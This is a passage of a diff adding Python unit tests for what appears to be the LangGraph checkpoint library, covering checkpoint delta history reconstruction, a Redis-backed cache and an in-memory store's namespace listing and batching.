snapshot value at cp2. + saver.writes[(thread_id, ns, "cp2")][("task2", 0)] = ( + "task2", + channel, + serde.dumps_typed({"content": "pending"}), + "", + ) + + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": "cp2", + } + } + result = saver.get_delta_channel_history(config=config, channels=[channel])[ + channel + ] + # Walk reached the root without finding a stored value → no `seed` key. + assert "seed" not in result + values = [v for _, _, v in result["writes"]] + assert values == [{"content": "hi"}] + + def test_get_channel_writes_at_root_returns_empty(self) -> None: + """Reconstructing the root checkpoint's state: no ancestors → [].""" + saver = InMemorySaver() + serde = JsonPlusSerializer() + thread_id, ns, channel = "t1", "", "messages" + + cp1 = empty_checkpoint() + cp1["id"] = "cp1" + saver.storage[thread_id][ns] = { + "cp1": (serde.dumps_typed(cp1), serde.dumps_typed({}), None), + } + saver.writes[(thread_id, ns, "cp1")][("task1", 0)] = ( + "task1", + channel, + serde.dumps_typed({"content": "pending"}), + "", + ) + + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": "cp1", + } + } + result = saver.get_delta_channel_history(config=config, channels=[channel])[ + channel + ] + # No ancestors → no seed found, no writes accumulated. + assert "seed" not in result + assert result["writes"] == [] + + +class TestBaseFallbackGetChannelWrites: + """Exercises the `BaseCheckpointSaver.get_delta_channel_history` default + implementation — the path third-party savers inherit when they don't + override `get_delta_channel_history` themselves. + + Regression guard for a bug where the fallback passed the caller's config + (with `checkpoint_id`) straight to `self.list()`, which most savers + collapse to a single row — causing the fallback to return `[]`. + """ + + def _build_saver_with_chain(self) -> tuple[InMemorySaver, str, str]: + """Build an InMemorySaver with a 3-checkpoint chain and per-step writes + for a `messages` channel. + + Returns `(saver, thread_id, namespace)`. The saver subclass deletes the + InMemorySaver override so the base class fallback is exercised. + """ + + class _ThirdPartyStyleSaver(InMemorySaver): + get_delta_channel_history = ( + InMemorySaver.__mro__[1].get_delta_channel_history # type: ignore[attr-defined] + ) + aget_delta_channel_history = ( + InMemorySaver.__mro__[1].aget_delta_channel_history # type: ignore[attr-defined] + ) + + saver = _ThirdPartyStyleSaver() + serde = JsonPlusSerializer() + thread_id, ns, channel = "t1", "", "messages" + + cp0 = empty_checkpoint() + cp0["id"] = "00000000000000000000000000000001.0000000000000000" + cp1 = empty_checkpoint() + cp1["id"] = "00000000000000000000000000000002.0000000000000000" + cp2 = empty_checkpoint() + cp2["id"] = "00000000000000000000000000000003.0000000000000000" + saver.storage[thread_id][ns] = { + cp0["id"]: (serde.dumps_typed(cp0), serde.dumps_typed({}), None), + cp1["id"]: (serde.dumps_typed(cp1), serde.dumps_typed({}), cp0["id"]), + cp2["id"]: (serde.dumps_typed(cp2), serde.dumps_typed({}), cp1["id"]), + } + # Writes under cp0 produced cp1's state; writes under cp1 produced cp2's. + saver.writes[(thread_id, ns, cp0["id"])][("task1", 0)] = ( + "task1", + channel, + serde.dumps_typed({"content": "first"}), + "", + ) + saver.writes[(thread_id, ns, cp1["id"])][("task2", 0)] = ( + "task2", + channel, + serde.dumps_typed({"content": "second"}), + "", + ) + return saver, thread_id, ns + + def test_fallback_returns_ancestor_writes_oldest_first(self) -> None: + saver, thread_id, ns = self._build_saver_with_chain() + target_id = "00000000000000000000000000000003.0000000000000000" + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": target_id, + } + } + + result = saver.get_delta_channel_history(config=config, channels=["messages"])[ + "messages" + ] + + # Walk reached root without a stored value → `seed` key absent. + assert "seed" not in result + values = [v for _, _, v in result["writes"]] + assert values == [{"content": "first"}, {"content": "second"}] + + async def test_async_fallback_returns_ancestor_writes_oldest_first(self) -> None: + saver, thread_id, ns = self._build_saver_with_chain() + target_id = "00000000000000000000000000000003.0000000000000000" + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": target_id, + } + } + + result = ( + await saver.aget_delta_channel_history(config=config, channels=["messages"]) + )["messages"] + + assert "seed" not in result + values = [v for _, _, v in result["writes"]] + assert values == [{"content": "first"}, {"content": "second"}] + + async def test_async_fallback_concurrent_tasks_do_not_interfere(self) -> None: + """Regression: the re-entrancy guard must be task-local, not thread-local. + + Two concurrent `aget_delta_channel_history` calls on the same event-loop + thread must each see their full reconstructed writes. A + `threading.local()` guard would let whichever task set it first + short-circuit the other to `writes=[]`. + """ + import asyncio + + saver, thread_id, ns = self._build_saver_with_chain() + + # Force the two tasks to interleave across the `set(True)` boundary: + # each `aget_tuple` yields control, so if the guard were thread-local + # the second task would observe `active=True` set by the first. + orig_aget_tuple = saver.aget_tuple + + async def slow_aget_tuple(config: RunnableConfig) -> Any: + await asyncio.sleep(0) + return await orig_aget_tuple(config) + + saver.aget_tuple = slow_aget_tuple # type: ignore[method-assign] + + target_id = "00000000000000000000000000000003.0000000000000000" + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": target_id, + } + } + + results = await asyncio.gather( + saver.aget_delta_channel_history(config=config, channels=["messages"]), + saver.aget_delta_channel_history(config=config, channels=["messages"]), + ) + + expected_values = [{"content": "first"}, {"content": "second"}] + for result_map in results: + result = result_map["messages"] + assert "seed" not in result + values = [v for _, _, v in result["writes"]] + assert values == expected_values + + +class TestPreDeltaBlobTerminator: + """Verify the pre-delta blob terminator: when the ancestor walk hits a + checkpoint whose blob for the channel is a real value, reconstruction + seeds from it and stops. This guards + + * back-compat: a thread written by pre-delta code, then extended under + delta — reconstruction must return the correct value without walking + past the last pre-delta ancestor; + * perf: without the terminator, every reconstruct-after-migration would + walk all the way to the thread root. + + Under the new public API a found seed populates `seed` in the + `DeltaChannelHistory` TypedDict; absence of the `seed` key means the walk + reached root without finding a stored value. + """ + + def _build_mixed_thread(self) -> tuple[InMemorySaver, str, str, str, str]: + """Three-checkpoint chain: cp1 (pre-delta, blob=[A]), cp2 (delta, + write=B), cp3 (delta, write=C). Reconstructing at cp3 must yield + seed=[A] + writes=[B, C]. + + Returns `(saver, thread_id, ns, channel, cp3_id)`. + """ + saver = InMemorySaver() + serde = JsonPlusSerializer() + thread_id, ns, channel = "t1", "", "messages" + + v1 = "00000000000000000000000000000001.0" + v2 = "00000000000000000000000000000002.0" + v3 = "00000000000000000000000000000003.0" + + # Pre-delta: cp1 stored a real blob for the channel. + saver.blobs[(thread_id, ns, channel, v1)] = serde.dumps_typed(["A"]) + # Delta-era: cp2 and cp3 store "empty"; real writes in checkpoint_writes. + saver.blobs[(thread_id, ns, channel, v2)] = ("empty", b"") + saver.blobs[(thread_id, ns, channel, v3)] = ("empty", b"") + + cp1 = empty_checkpoint() + cp1["id"] = "cp1" + cp1["channel_versions"][channel] = v1 + cp2 = empty_checkpoint() + cp2["id"] = "cp2" + cp2["channel_versions"][channel] = v2 + cp3 = empty_checkpoint() + cp3["id"] = "cp3" + cp3["channel_versions"][channel] = v3 + + saver.storage[thread_id][ns] = { + "cp1": (serde.dumps_typed(cp1), serde.dumps_typed({}), None), + "cp2": (serde.dumps_typed(cp2), serde.dumps_typed({}), "cp1"), + "cp3": (serde.dumps_typed(cp3), serde.dumps_typed({}), "cp2"), + } + # Write under cp1 would be from the pre-delta era and MUST be ignored + # (the blob already captures it). We add one and assert it is not + # folded into the reconstructed result. + saver.writes[(thread_id, ns, "cp1")][("task0", 0)] = ( + "task0", + channel, + serde.dumps_typed("PRE-DELTA-WRITE"), + "", + ) + saver.writes[(thread_id, ns, "cp2")][("task2", 0)] = ( + "task2", + channel, + serde.dumps_typed("B"), + "", + ) + saver.writes[(thread_id, ns, "cp3")][("task3", 0)] = ( + "task3", + channel, + serde.dumps_typed("PENDING-AT-TARGET"), + "", + ) + return saver, thread_id, ns, channel, "cp3" + + def test_seed_from_pre_delta_ancestor_blob(self) -> None: + saver, thread_id, ns, channel, target = self._build_mixed_thread() + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": target, + } + } + + result = saver.get_delta_channel_history(config=config, channels=[channel])[ + channel + ] + + # Seed came from the pre-delta blob at cp1. + assert result["seed"] == ["A"] + # Delta-era writes from cp2 replay through the reducer on top of seed. + # cp3 is the target — its own write is pending for the NEXT step and + # must be excluded. + values = [v for _, _, v in result["writes"]] + assert values == ["B"] + + def test_pre_delta_blob_terminates_walk_before_older_writes(self) -> None: + """Writes stored at the pre-delta ancestor itself must not be replayed + (the blob subsumes them).""" + saver, thread_id, ns, channel, target = self._build_mixed_thread() + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": ns, + "checkpoint_id": target, + } + } + + result = saver.get_delta_channel_history(config=config, channels=[channel])[ + channel + ] + + values = [v for _, _, v in result["writes"]] + # The pre-delta write under cp1 must not appear (the blob subsumes it). + assert "PRE-DELTA-WRITE" not in values + # And the pending write at the target is never folded in. + assert "PENDING-AT-TARGET" not in values diff --git a/libs/checkpoint/tests/test_redis_cache.py b/libs/checkpoint/tests/test_redis_cache.py new file mode 100644 index 0000000..ca1fce0 --- /dev/null +++ b/libs/checkpoint/tests/test_redis_cache.py @@ -0,0 +1,316 @@ +"""Unit tests for Redis cache implementation.""" + +import time + +import pytest +import redis + +from langgraph.cache.base import FullKey +from langgraph.cache.redis import RedisCache + + +class TestRedisCache: + @pytest.fixture(autouse=True) + def setup(self) -> None: + """Set up test Redis client and cache.""" + self.client = redis.Redis( + host="localhost", port=6379, db=0, decode_responses=False + ) + try: + self.client.ping() + except redis.ConnectionError: + pytest.skip("Redis server not available") + + self.cache: RedisCache = RedisCache(self.client, prefix="test:cache:") + + # Clean up before each test + self.client.flushdb() + + def teardown_method(self) -> None: + """Clean up after each test.""" + try: + self.client.flushdb() + except Exception: + pass + + def test_basic_set_and_get(self) -> None: + """Test basic set and get operations.""" + keys: list[FullKey] = [(("graph", "node"), "key1")] + values = {keys[0]: ({"result": 42}, None)} + + # Set value + self.cache.set(values) + + # Get value + result = self.cache.get(keys) + assert len(result) == 1 + assert result[keys[0]] == {"result": 42} + + def test_batch_operations(self) -> None: + """Test batch set and get operations.""" + keys: list[FullKey] = [ + (("graph", "node1"), "key1"), + (("graph", "node2"), "key2"), + (("other", "node"), "key3"), + ] + values = { + keys[0]: ({"result": 1}, None), + keys[1]: ({"result": 2}, 60), # With TTL + keys[2]: ({"result": 3}, None), + } + + # Set values + self.cache.set(values) + + # Get all values + result = self.cache.get(keys) + assert len(result) == 3 + assert result[keys[0]] == {"result": 1} + assert result[keys[1]] == {"result": 2} + assert result[keys[2]] == {"result": 3} + + def test_ttl_behavior(self) -> None: + """Test TTL (time-to-live) functionality.""" + key: FullKey = (("graph", "node"), "ttl_key") + values = {key: ({"data": "expires_soon"}, 1)} # 1 second TTL + + # Set with TTL + self.cache.set(values) + + # Should be available immediately + result = self.cache.get([key]) + assert len(result) == 1 + assert result[key] == {"data": "expires_soon"} + + # Wait for expiration + time.sleep(1.1) + + # Should be expired + result = self.cache.get([key]) + assert len(result) == 0 + + def test_namespace_isolation(self) -> None: + """Test that different namespaces are isolated.""" + key1: FullKey = (("graph1", "node"), "same_key") + key2: FullKey = (("graph2", "node"), "same_key") + + values = {key1: ({"graph": 1}, None), key2: ({"graph": 2}, None)} + + self.cache.set(values) + + result = self.cache.get([key1, key2]) + assert result[key1] == {"graph": 1} + assert result[key2] == {"graph": 2} + + def test_clear_all(self) -> None: + """Test clearing all cached values.""" + keys: list[FullKey] = [ + (("graph", "node1"), "key1"), + (("graph", "node2"), "key2"), + ] + values = {keys[0]: ({"result": 1}, None), keys[1]: ({"result": 2}, None)} + + self.cache.set(values) + + # Verify data exists + result = self.cache.get(keys) + assert len(result) == 2 + + # Clear all + self.cache.clear() + + # Verify data is gone + result = self.cache.get(keys) + assert len(result) == 0 + + def test_clear_by_namespace(self) -> None: + """Test clearing cached values by namespace.""" + keys: list[FullKey] = [ + (("graph1", "node"), "key1"), + (("graph2", "node"), "key2"), + (("graph1", "other"), "key3"), + ] + values = { + keys[0]: ({"result": 1}, None), + keys[1]: ({"result": 2}, None), + keys[2]: ({"result": 3}, None), + } + + self.cache.set(values) + + # Clear only graph1 namespace + self.cache.clear([("graph1", "node"), ("graph1", "other")]) + + # graph1 should be cleared, graph2 should remain + result = self.cache.get(keys) + assert len(result) == 1 + assert result[keys[1]] == {"result": 2} + + def test_empty_operations(self) -> None: + """Test behavior with empty keys/values.""" + # Empty get + result = self.cache.get([]) + assert result == {} + + # Empty set + self.cache.set({}) # Should not raise error + + def test_nonexistent_keys(self) -> None: + """Test getting keys that don't exist.""" + keys: list[FullKey] = [(("graph", "node"), "nonexistent")] + result = self.cache.get(keys) + assert len(result) == 0 + + @pytest.mark.asyncio + async def test_async_operations(self) -> None: + """Test async set and get operations with sync Redis client.""" + # Create sync Redis client and cache (like main integration tests) + client = redis.Redis(host="localhost", port=6379, db=1, decode_responses=False) + try: + client.ping() + except Exception: + pytest.skip("Redis not available") + + cache: RedisCache = RedisCache(client, prefix="test:async:") + + keys: list[FullKey] = [(("graph", "node"), "async_key")] + values = {keys[0]: ({"async": True}, None)} + + # Async set (delegates to sync) + await cache.aset(values) + + # Async get (delegates to sync) + result = await cache.aget(keys) + assert len(result) == 1 + assert result[keys[0]] == {"async": True} + + # Cleanup + client.flushdb() + + @pytest.mark.asyncio + async def test_async_clear(self) -> None: + """Test async clear operations with sync Redis client.""" + # Create sync Redis client and cache (like main integration tests) + client = redis.Redis(host="localhost", port=6379, db=1, decode_responses=False) + try: + client.ping() + except Exception: + pytest.skip("Redis not available") + + cache: RedisCache = RedisCache(client, prefix="test:async:") + + keys: list[FullKey] = [(("graph", "node"), "key")] + values = {keys[0]: ({"data": "test"}, None)} + + await cache.aset(values) + + # Verify data exists + result = await cache.aget(keys) + assert len(result) == 1 + + # Clear all (delegates to sync) + await cache.aclear() + + # Verify data is gone + result = await cache.aget(keys) + assert len(result) == 0 + + # Cleanup + client.flushdb() + + def test_redis_unavailable_get(self) -> None: + """Test behavior when Redis is unavailable during get operations.""" + # Create cache with non-existent Redis server + bad_client = redis.Redis( + host="nonexistent", port=9999, socket_connect_timeout=0.1 + ) + cache: RedisCache = RedisCache(bad_client, prefix="test:cache:") + + keys: list[FullKey] = [(("graph", "node"), "key")] + result = cache.get(keys) + + # Should return empty dict when Redis unavailable + assert result == {} + + def test_redis_unavailable_set(self) -> None: + """Test behavior when Redis is unavailable during set operations.""" + # Create cache with non-existent Redis server + bad_client = redis.Redis( + host="nonexistent", port=9999, socket_connect_timeout=0.1 + ) + cache: RedisCache = RedisCache(bad_client, prefix="test:cache:") + + keys: list[FullKey] = [(("graph", "node"), "key")] + values = {keys[0]: ({"data": "test"}, None)} + + # Should not raise exception when Redis unavailable + cache.set(values) # Should silently fail + + @pytest.mark.asyncio + async def test_redis_unavailable_async(self) -> None: + """Test async behavior when Redis is unavailable.""" + # Create sync cache with non-existent Redis server (like main integration tests) + bad_client = redis.Redis( + host="nonexistent", port=9999, socket_connect_timeout=0.1 + ) + cache: RedisCache = RedisCache(bad_client, prefix="test:cache:") + + keys: list[FullKey] = [(("graph", "node"), "key")] + values = {keys[0]: ({"data": "test"}, None)} + + # Should return empty dict for get (delegates to sync) + result = await cache.aget(keys) + assert result == {} + + # Should not raise exception for set (delegates to sync) + await cache.aset(values) # Should silently fail + + def test_corrupted_data_handling(self) -> None: + """Test handling of corrupted data in Redis.""" + # Set some valid data first + keys: list[FullKey] = [(("graph", "node"), "valid_key")] + values = {keys[0]: ({"data": "valid"}, None)} + self.cache.set(values) + + # Manually insert corrupted data + corrupted_key = self.cache._make_key(("graph", "node"), "corrupted_key") + self.client.set(corrupted_key, b"invalid:data:format:too:many:colons") + + # Should skip corrupted entry and return only valid ones + all_keys: list[FullKey] = [keys[0], (("graph", "node"), "corrupted_key")] + result = self.cache.get(all_keys) + + assert len(result) == 1 + assert result[keys[0]] == {"data": "valid"} + + def test_key_parsing_edge_cases(self) -> None: + """Test key parsing with edge cases.""" + # Test empty namespace + key1: FullKey = ((), "empty_ns") + values = {key1: ({"data": "empty_ns"}, None)} + self.cache.set(values) + result = self.cache.get([key1]) + assert result[key1] == {"data": "empty_ns"} + + # Test namespace with special characters + key2: FullKey = ( + ("graph:with:colons", "node-with-dashes"), + "key_with_underscores", + ) + values = {key2: ({"data": "special_chars"}, None)} + self.cache.set(values) + result = self.cache.get([key2]) + assert result[key2] == {"data": "special_chars"} + + def test_large_data_serialization(self) -> None: + """Test handling of large data objects.""" + # Create a large data structure + large_data = {"large_list": list(range(1000)), "nested": {"data": "x" * 1000}} + key: FullKey = (("graph", "node"), "large_key") + values = {key: (large_data, None)} + + self.cache.set(values) + result = self.cache.get([key]) + + assert len(result) == 1 + assert result[key] == large_data diff --git a/libs/checkpoint/tests/test_store.py b/libs/checkpoint/tests/test_store.py new file mode 100644 index 0000000..42e7a76 --- /dev/null +++ b/libs/checkpoint/tests/test_store.py @@ -0,0 +1,1046 @@ +import asyncio +import json +from collections.abc import Iterable +from datetime import datetime +from typing import Any + +import pytest +from pytest_mock import MockerFixture + +from langgraph.store.base import ( + GetOp, + InvalidNamespaceError, + Item, + Op, + PutOp, + Result, + get_text_at_path, +) +from langgraph.store.base.batch import AsyncBatchedBaseStore +from langgraph.store.memory import InMemoryStore +from tests.embed_test_utils import CharacterEmbeddings + + +class MockAsyncBatchedStore(AsyncBatchedBaseStore): + def __init__(self, **kwargs: Any) -> None: + super().__init__() + self._store = InMemoryStore(**kwargs) + + def batch(self, ops: Iterable[Op]) -> list[Result]: + return self._store.batch(ops) + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + return self._store.batch(ops) + + +async def test_async_batch_store_resilience() -> None: + """Test that AsyncBatchedBaseStore recovers gracefully from task cancellation.""" + doc = {"foo": "bar"} + async_store = MockAsyncBatchedStore() + + await async_store.aput(("foo", "langgraph", "foo"), "bar", doc) + + # Store the original task reference + original_task = async_store._task + assert original_task is not None + assert not original_task.done() + + # Cancel the background task + original_task.cancel() + await asyncio.sleep(0.01) + assert original_task.cancelled() + + # Perform a new operation - this should trigger _ensure_task() to create a new task + result = await async_store.asearch(("foo", "langgraph", "foo")) + assert len(result) > 0 + assert result[0].value == doc + + # Verify a new task was created + new_task = async_store._task + assert new_task is not None + assert new_task is not original_task + assert not new_task.done() + + # Test that operations continue to work with the new task + doc2 = {"baz": "qux"} + await async_store.aput(("test", "namespace"), "key", doc2) + result2 = await async_store.aget(("test", "namespace"), "key") + assert result2 is not None + assert result2.value == doc2 + + +def test_get_text_at_path() -> None: + nested_data = { + "name": "test", + "info": { + "age": 25, + "tags": ["a", "b", "c"], + "metadata": {"created": "2024-01-01", "updated": "2024-01-02"}, + }, + "items": [ + {"id": 1, "value": "first", "tags": ["x", "y"]}, + {"id": 2, "value": "second", "tags": ["y", "z"]}, + {"id": 3, "value": "third", "tags": ["z", "w"]}, + ], + "empty": None, + "zeros": [0, 0.0, "0"], + "empty_list": [], + "empty_dict": {}, + } + + assert get_text_at_path(nested_data, "$") == [ + json.dumps(nested_data, sort_keys=True) + ] + + assert get_text_at_path(nested_data, "name") == ["test"] + assert get_text_at_path(nested_data, "info.age") == ["25"] + + assert get_text_at_path(nested_data, "info.metadata.created") == ["2024-01-01"] + + assert get_text_at_path(nested_data, "items[0].value") == ["first"] + assert get_text_at_path(nested_data, "items[-1].value") == ["third"] + assert get_text_at_path(nested_data, "items[1].tags[0]") == ["y"] + + values = get_text_at_path(nested_data, "items[*].value") + assert set(values) == {"first", "second", "third"} + + metadata_dates = get_text_at_path(nested_data, "info.metadata.*") + assert set(metadata_dates) == {"2024-01-01", "2024-01-02"} + name_and_age = get_text_at_path(nested_data, "{name,info.age}") + assert set(name_and_age) == {"test", "25"} + + item_fields = get_text_at_path(nested_data, "items[*].{id,value}") + assert set(item_fields) == {"1", "2", "3", "first", "second", "third"} + + all_tags = get_text_at_path(nested_data, "items[*].tags[*]") + assert set(all_tags) == {"x", "y", "z", "w"} + + assert get_text_at_path(None, "any.path") == [] + assert get_text_at_path({}, "any.path") == [] + assert get_text_at_path(nested_data, "") == [ + json.dumps(nested_data, sort_keys=True) + ] + assert get_text_at_path(nested_data, "nonexistent") == [] + assert get_text_at_path(nested_data, "items[99].value") == [] + assert get_text_at_path(nested_data, "items[*].nonexistent") == [] + + assert get_text_at_path(nested_data, "empty") == [] + assert get_text_at_path(nested_data, "empty_list") == ["[]"] + assert get_text_at_path(nested_data, "empty_dict") == ["{}"] + + zeros = get_text_at_path(nested_data, "zeros[*]") + assert set(zeros) == {"0", "0.0"} + + assert get_text_at_path(nested_data, "items[].value") == [] + assert get_text_at_path(nested_data, "items[abc].value") == [] + assert get_text_at_path(nested_data, "{unclosed") == [] + assert get_text_at_path(nested_data, "nested[{invalid}]") == [] + + +async def test_async_batch_store(mocker: MockerFixture) -> None: + abatch = mocker.stub() + + class MockStore(AsyncBatchedBaseStore): + def batch(self, ops: Iterable[Op]) -> list[Result]: + raise NotImplementedError + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + assert all(isinstance(op, GetOp) for op in ops) + abatch(ops) + return [ + Item( + value={}, + key=getattr(op, "key", ""), + namespace=getattr(op, "namespace", ()), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + ) + for op in ops + ] + + store = MockStore() + + # concurrent calls are batched + results = await asyncio.gather( + store.aget(namespace=("a",), key="b"), + store.aget(namespace=("c",), key="d"), + ) + assert results == [ + Item( + value={}, + key="b", + namespace=("a",), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + ), + Item( + value={}, + key="d", + namespace=("c",), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + ), + ] + assert abatch.call_count == 1 + assert [tuple(c.args[0]) for c in abatch.call_args_list] == [ + ( + GetOp(("a",), "b", refresh_ttl=True), + GetOp(("c",), "d", refresh_ttl=True), + ), + ] + + +async def test_async_batch_store_handles_cancellation() -> None: + class MockStore(AsyncBatchedBaseStore): + def batch(self, ops: Iterable[Op]) -> list[Result]: + raise NotImplementedError + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + assert all(isinstance(op, GetOp) for op in ops) + return [ + Item( + value={}, + key=getattr(op, "key", ""), + namespace=getattr(op, "namespace", ()), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + ) + for op in ops + ] + + store = MockStore() + + # Simulate cancellation + task = asyncio.create_task(store.aget(namespace=("a",), key="b")) + await asyncio.sleep(0) + task.cancel() + await asyncio.sleep(0) + + # Cancelling individual queries against the store should not break the store + result = await store.aget(namespace=("c",), key="d") + assert result == Item( + value={}, + key="d", + namespace=("c",), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + ) + + +def test_list_namespaces_basic() -> None: + store = InMemoryStore() + + namespaces = [ + ("a", "b", "c"), + ("a", "b", "d", "e"), + ("a", "b", "d", "i"), + ("a", "b", "f"), + ("a", "c", "f"), + ("b", "a", "f"), + ("users", "123"), + ("users", "456", "settings"), + ("admin", "users", "789"), + ] + + for i, ns in enumerate(namespaces): + store.put(namespace=ns, key=f"id_{i}", value={"data": f"value_{i:02d}"}) + + result = store.list_namespaces(prefix=("a", "b")) + expected = [ + ("a", "b", "c"), + ("a", "b", "d", "e"), + ("a", "b", "d", "i"), + ("a", "b", "f"), + ] + assert sorted(result) == sorted(expected) + + result = store.list_namespaces(suffix=("f",)) + expected = [ + ("a", "b", "f"), + ("a", "c", "f"), + ("b", "a", "f"), + ] + assert sorted(result) == sorted(expected) + + result = store.list_namespaces(prefix=("a",), suffix=("f",)) + expected = [ + ("a", "b", "f"), + ("a", "c", "f"), + ] + assert sorted(result) == sorted(expected) + + # Test max_depth + result = store.list_namespaces(prefix=("a", "b"), max_depth=3) + expected = [ + ("a", "b", "c"), + ("a", "b", "d"), + ("a", "b", "f"), + ] + assert sorted(result) == sorted(expected) + + # Test limit and offset + result = store.list_namespaces(prefix=("a", "b"), limit=2) + expected = [ + ("a", "b", "c"), + ("a", "b", "d", "e"), + ] + assert result == expected + + result = store.list_namespaces(prefix=("a", "b"), offset=2) + expected = [ + ("a", "b", "d", "i"), + ("a", "b", "f"), + ] + assert result == expected + + result = store.list_namespaces(prefix=("a", "*", "f")) + expected = [ + ("a", "b", "f"), + ("a", "c", "f"), + ] + assert sorted(result) == sorted(expected) + + result = store.list_namespaces(suffix=("*", "f")) + expected = [ + ("a", "b", "f"), + ("a", "c", "f"), + ("b", "a", "f"), + ] + assert sorted(result) == sorted(expected) + + result = store.list_namespaces(prefix=("nonexistent",)) + assert result == [] + + result = store.list_namespaces(prefix=("users", "123")) + expected = [("users", "123")] + assert result == expected + + +def test_list_namespaces_with_wildcards() -> None: + store = InMemoryStore() + + namespaces = [ + ("users", "123"), + ("users", "456"), + ("users", "789", "settings"), + ("admin", "users", "789"), + ("guests", "123"), + ("guests", "456", "preferences"), + ] + + for i, ns in enumerate(namespaces): + store.put(namespace=ns, key=f"id_{i}", value={"data": f"value_{i:02d}"}) + + result = store.list_namespaces(prefix=("users", "*")) + expected = [ + ("users", "123"), + ("users", "456"), + ("users", "789", "settings"), + ] + assert sorted(result) == sorted(expected) + + result = store.list_namespaces(suffix=("*", "preferences")) + expected = [ + ("guests", "456", "preferences"), + ] + assert result == expected + + result = store.list_namespaces(prefix=("*", "users"), suffix=("*", "settings")) + + assert result == [] + + store.put( + namespace=("admin", "users", "settings", "789"), + key="foo", + value={"data": "some_val"}, + ) + expected = [ + ("admin", "users", "settings", "789"), + ] + + +def test_list_namespaces_pagination() -> None: + store = InMemoryStore() + + for i in range(20): + ns = ("namespace", f"sub_{i:02d}") + store.put(namespace=ns, key=f"id_{i:02d}", value={"data": f"value_{i:02d}"}) + + result = store.list_namespaces(prefix=("namespace",), limit=5, offset=0) + expected = [("namespace", f"sub_{i:02d}") for i in range(5)] + assert result == expected + + result = store.list_namespaces(prefix=("namespace",), limit=5, offset=5) + expected = [("namespace", f"sub_{i:02d}") for i in range(5, 10)] + assert result == expected + + result = store.list_namespaces(prefix=("namespace",), limit=5, offset=15) + expected = [("namespace", f"sub_{i:02d}") for i in range(15, 20)] + assert result == expected + + +def test_list_namespaces_max_depth() -> None: + store = InMemoryStore() + + namespaces = [ + ("a", "b", "c", "d"), + ("a", "b", "c", "e"), + ("a", "b", "f"), + ("a", "g"), + ("h", "i", "j", "k"), + ] + + for i, ns in enumerate(namespaces): + store.put(namespace=ns, key=f"id_{i}", value={"data": f"value_{i:02d}"}) + + result = store.list_namespaces(max_depth=2) + expected = [ + ("a", "b"), + ("a", "g"), + ("h", "i"), + ] + assert sorted(result) == sorted(expected) + + +def test_list_namespaces_no_conditions() -> None: + store = InMemoryStore() + + namespaces = [ + ("a", "b"), + ("c", "d"), + ("e", "f", "g"), + ] + + for i, ns in enumerate(namespaces): + store.put(namespace=ns, key=f"id_{i}", value={"data": f"value_{i:02d}"}) + + result = store.list_namespaces() + expected = namespaces + assert sorted(result) == sorted(expected) + + +def test_list_namespaces_empty_store() -> None: + store = InMemoryStore() + + result = store.list_namespaces() + assert result == [] + + +async def test_cannot_put_empty_namespace() -> None: + store = InMemoryStore() + doc = {"foo": "bar"} + + with pytest.raises(InvalidNamespaceError): + store.put((), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await store.aput((), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + store.put(("the", "thing.about"), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await store.aput(("the", "thing.about"), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + store.put(("some", "fun", ""), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await store.aput(("some", "fun", ""), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await store.aput(("langgraph", "foo"), "bar", doc) + + with pytest.raises(InvalidNamespaceError): + store.put(("langgraph", "foo"), "bar", doc) + + await store.aput(("foo", "langgraph", "foo"), "bar", doc) + assert (await store.aget(("foo", "langgraph", "foo"), "bar")).value == doc # type: ignore[union-attr] + assert (await store.asearch(("foo", "langgraph", "foo"), query="bar"))[ + 0 + ].value == doc + await store.adelete(("foo", "langgraph", "foo"), "bar") + assert (await store.aget(("foo", "langgraph", "foo"), "bar")) is None + store.put(("foo", "langgraph", "foo"), "bar", doc) + assert store.get(("foo", "langgraph", "foo"), "bar").value == doc # type: ignore[union-attr] + assert store.search(("foo", "langgraph", "foo"), query="bar")[0].value == doc + store.delete(("foo", "langgraph", "foo"), "bar") + assert store.get(("foo", "langgraph", "foo"), "bar") is None + + # Do the same but go past the public put api + await store.abatch([PutOp(("langgraph", "foo"), "bar", doc)]) + assert (await store.aget(("langgraph", "foo"), "bar")).value == doc # type: ignore[union-attr] + assert (await store.asearch(("langgraph", "foo")))[0].value == doc + await store.adelete(("langgraph", "foo"), "bar") + assert (await store.aget(("langgraph", "foo"), "bar")) is None + store.batch([PutOp(("langgraph", "foo"), "bar", doc)]) + assert store.get(("langgraph", "foo"), "bar").value == doc # type: ignore[union-attr] + assert store.search(("langgraph", "foo"))[0].value == doc + store.delete(("langgraph", "foo"), "bar") + assert store.get(("langgraph", "foo"), "bar") is None + + async_store = MockAsyncBatchedStore() + doc = {"foo": "bar"} + + with pytest.raises(InvalidNamespaceError): + await async_store.aput((), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await async_store.aput(("the", "thing.about"), "foo", doc) + + with pytest.raises(InvalidNamespaceError): + await 